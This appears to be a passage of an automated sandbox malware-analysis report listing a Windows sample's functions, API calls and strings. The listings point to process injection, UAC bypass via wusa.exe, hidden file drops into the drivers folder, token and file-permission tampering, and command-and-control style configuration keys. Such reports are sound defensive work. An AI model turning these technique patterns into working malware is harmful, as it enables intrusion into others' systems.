Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 5af76653529245223ce54de3b2201f43486e795cc7c2b0fcdaec7285886f4086
Instruction ID: 937aca74520052d45988c2d0c0f169875d4d0bc257a2eacc80ff7e120b8985ce
Opcode Fuzzy Hash: 5af76653529245223ce54de3b2201f43486e795cc7c2b0fcdaec7285886f4086
Instruction Fuzzy Hash: 75F0C2B6104218AFD710DB64EDC4EE777EED714308F1084B6E286E3145D6B89DA85B6C

Function 0264D400 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0264D451

Memory Dump Source

Source File: 00000000.00000002.2079068400.000000000263D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0263D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_263d000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 76c0a164d042e1d14defd937b934a7da6afe5a98970b23a59c3a3392a810e783
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 4C113979A00208EFDB01DF98C985E98BFF5AF08351F0580A4F9889B361D771EA90DF90

Non-executed Functions

Function 0040C913 Relevance: 113.4, APIs: 45, Strings: 19, Instructions: 1397filestringprocessCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 0040CA4E
closesocket.WS2_32(?), ref: 0040CB63
GetTempPathA.KERNEL32(00000120,?), ref: 0040CC28
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040CCB4
WriteFile.KERNEL32(0040A4B3,?,-000000E8,?,00000000), ref: 0040CCDC
CloseHandle.KERNEL32(0040A4B3), ref: 0040CCED
wsprintfA.USER32 ref: 0040CD21
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040CD77
WaitForSingleObject.KERNEL32(?,0000EA60), ref: 0040CD89
CloseHandle.KERNEL32(?), ref: 0040CD98
CloseHandle.KERNEL32(?), ref: 0040CD9D
DeleteFileA.KERNEL32(?), ref: 0040CDC4
CloseHandle.KERNEL32(0040A4B3), ref: 0040CDCC
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,00000100), ref: 0040CFB1
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 0040CFEF
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 0040D033
lstrcatA.KERNEL32(?,?), ref: 0040D10C
SetFileAttributesA.KERNEL32(?,00000080), ref: 0040D155
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0040D171
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0040D195
CloseHandle.KERNEL32(00000000), ref: 0040D19C
SetFileAttributesA.KERNEL32(?,00000002), ref: 0040D1C8
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,00000100), ref: 0040D231
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,?,00000100), ref: 0040D27C
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,00000100), ref: 0040D2AB
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,00000100), ref: 0040D2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000100), ref: 0040D2EB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00000100), ref: 0040D2F2
SetFileAttributesA.KERNEL32(?,00000002,?,?,?,?,?,?,?,00000100), ref: 0040D326
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,00000100), ref: 0040D372
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,?,00000100), ref: 0040D3BD
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,00000100), ref: 0040D3EC
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,00000100), ref: 0040D408
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000100), ref: 0040D428
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00000100), ref: 0040D42F
SetFileAttributesA.KERNEL32(?,00000002,?,?,?,?,?,?,?,00000100), ref: 0040D45B
CreateProcessA.KERNEL32(?,00410264,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040D4DE
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000100), ref: 0040D4F4
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000100), ref: 0040D4FC
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000100), ref: 0040D513
closesocket.WS2_32(?), ref: 0040D56C
Sleep.KERNEL32(000003E8), ref: 0040D577
ExitProcess.KERNEL32 ref: 0040D583
wsprintfA.USER32 ref: 0040D81F

Part of subcall function 0040C65C: send.WS2_32(00000000,?,00000000), ref: 0040C74B

closesocket.WS2_32(?), ref: 0040DAD5

Strings

wtm_c, xrefs: 0040C956
PromptOnSecureDesktop, xrefs: 0040CC79, 0040CC7E, 0040CC99, 0040CD10, 0040CD29, 0040CFA2, 0040CFA7, 0040CFBD, 0040D0EF, 0040D223, 0040D239, 0040D364, 0040D37A, 0040D80B
wtm_r, xrefs: 0040C97F
.sys, xrefs: 0040D0CC
except_info, xrefs: 0040D8CD, 0040D8D2, 0040D8FB
srv_time, xrefs: 0040CABB
.dat, xrefs: 0040D0D7, 0040D138, 0040D1AE, 0040D1D4, 0040D28E, 0040D308, 0040D3CF, 0040D441
drivers\, xrefs: 0040D067
@, xrefs: 0040D754
wtm_w, xrefs: 0040C96C
lid_file_upd, xrefs: 0040CE6A
4, xrefs: 0040D9F7
\, xrefs: 0040D39D
\, xrefs: 0040D3A7
time_cfg, xrefs: 0040C95B, 0040C962, 0040C971, 0040C984
local_time, xrefs: 0040CACD
localcfg, xrefs: 0040CA89, 0040CA93, 0040CAC0, 0040CAD2, 0040CE4F, 0040CE6F, 0040D8D3, 0040D8FC
work_srv, xrefs: 0040D607, 0040D60F, 0040D62C
flags_upd, xrefs: 0040CE4A

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$AttributesCreate$Writeclosesocket$EnvironmentProcessVariablelstrcat$DeleteDirectorySystemwsprintf$ExitObjectPathSingleSleepTempWaitsend
String ID: .dat$.sys$4$@$PromptOnSecureDesktop$\$\$drivers\$except_info$flags_upd$lid_file_upd$local_time$localcfg$srv_time$time_cfg$work_srv$wtm_c$wtm_r$wtm_w
API String ID: 562065436-3791576231
Opcode ID: 9e4fe3788f012a04d44cc6c5e4c1fd3e816f3d6647e3ed2456f4b6deaabaf357
Instruction ID: 1bec03d5b3261cfbda03ea9d0ba23ae7472bbf6119f1c93de8fbd0284471d070
Opcode Fuzzy Hash: 9e4fe3788f012a04d44cc6c5e4c1fd3e816f3d6647e3ed2456f4b6deaabaf357
Instruction Fuzzy Hash: 1BB2B471D00209BBEB209FA4DD85FEA7BB9EB08304F14457BF505B22D1D7789A898B5C

Function 00401000 Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtFilterToken, xrefs: 0040122B
RtlLengthSid, xrefs: 00401246
NtTerminateProcess, xrefs: 004010F6
NtQueryInformationToken, xrefs: 00401262
ntdll.dll, xrefs: 0040100D
NtClose, xrefs: 004011B4
RtlSetLastWin32Error, xrefs: 004010D6
RtlFreeSid, xrefs: 00401116
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtSetInformationThread, xrefs: 00401155
NtOpenProcessToken, xrefs: 004011D4
NtDuplicateToken, xrefs: 004011F3
NtSetInformationToken, xrefs: 00401175
RtlNtStatusToDosError, xrefs: 00401194
RtlInitUnicodeString, xrefs: 00401135

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Function 0040B211 Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Oct, xrefs: 0040B295
Mar, xrefs: 0040B264
Sat, xrefs: 0040B24F
Sun, xrefs: 0040B225
Jul, xrefs: 0040B280
Apr, xrefs: 0040B26B
Wed, xrefs: 0040B23A
Thu, xrefs: 0040B241
Feb, xrefs: 0040B25D
Aug, xrefs: 0040B287
Fri, xrefs: 0040B248
Tue, xrefs: 0040B233
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Dec, xrefs: 0040B2A3
Nov, xrefs: 0040B29C
Mon, xrefs: 0040B22C
Jun, xrefs: 0040B279
May, xrefs: 0040B272
Sep, xrefs: 0040B28E
Jan, xrefs: 0040B256

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Function 00407809 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Function 00401280 Relevance: 31.9, APIs: 9, Strings: 9, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

uac, xrefs: 00401628
PDGu, xrefs: 0040139A
%systemroot%\system32\cmd.exe, xrefs: 00401316
, xrefs: 00401462
@, xrefs: 00401380
<, xrefs: 00401378
D, xrefs: 004015C6
wusa.exe, xrefs: 00401388
useless, xrefs: 0040161E

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$PDGu$uac$useless$wusa.exe
API String ID: 1628651668-3716895483
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Function 00401D96 Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15

Strings

loader_id, xrefs: 00401F4B, 00401F6B
start_srv, xrefs: 00401E6C
lid_file_upd, xrefs: 00401E25
born_date, xrefs: 00401EAD, 00401ECC
net_type, xrefs: 00401E87
IsWow64Process, xrefs: 00401DF2
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
kernel32, xrefs: 00401DF7
work_srv, xrefs: 00401E5E
flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 9f3abc139dc6c88613093014c78d45ea21c86ec42b9258ba851d748653af05de
Instruction ID: 8f9aaa01d81d5e00f35a14cef107f65a3e8f5b831808d54868c05c9eb27f2f66
Opcode Fuzzy Hash: 9f3abc139dc6c88613093014c78d45ea21c86ec42b9258ba851d748653af05de
Instruction Fuzzy Hash: D451D9B05043446FD320AF768C85F67BAECEB84708F04493FF955A2292D7BDA94487A9

Function 00402A62 Relevance: 27.2, APIs: 18, Instructions: 194networkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,7591F380), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,7591F380), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID:
API String ID: 1639031587-0
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Function 0040405E Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203COMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Function 00406069 Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Function 00406EDD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Function 0040637C Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,EntryPoint), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,EntryPoint), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Function 040C65E3 Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 040C65F6
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 040C6610
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 040C6631
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 040C6652

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: 15cd707c6c9f33af238b02535426f379084de913f296c00ccda63dae2410f208
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: 4E115471600219FFDB615F75DC45F9F3FA8EB057A9F104429F905E7250D6B2ED0086A4

Function 00408E26 Relevance: 4.6, APIs: 3, Instructions: 63fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Function 040C092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 040C09DC, 040C09DF, 040C09E4
l, xrefs: 040C0966
., xrefs: 040C095F

Memory Dump Source

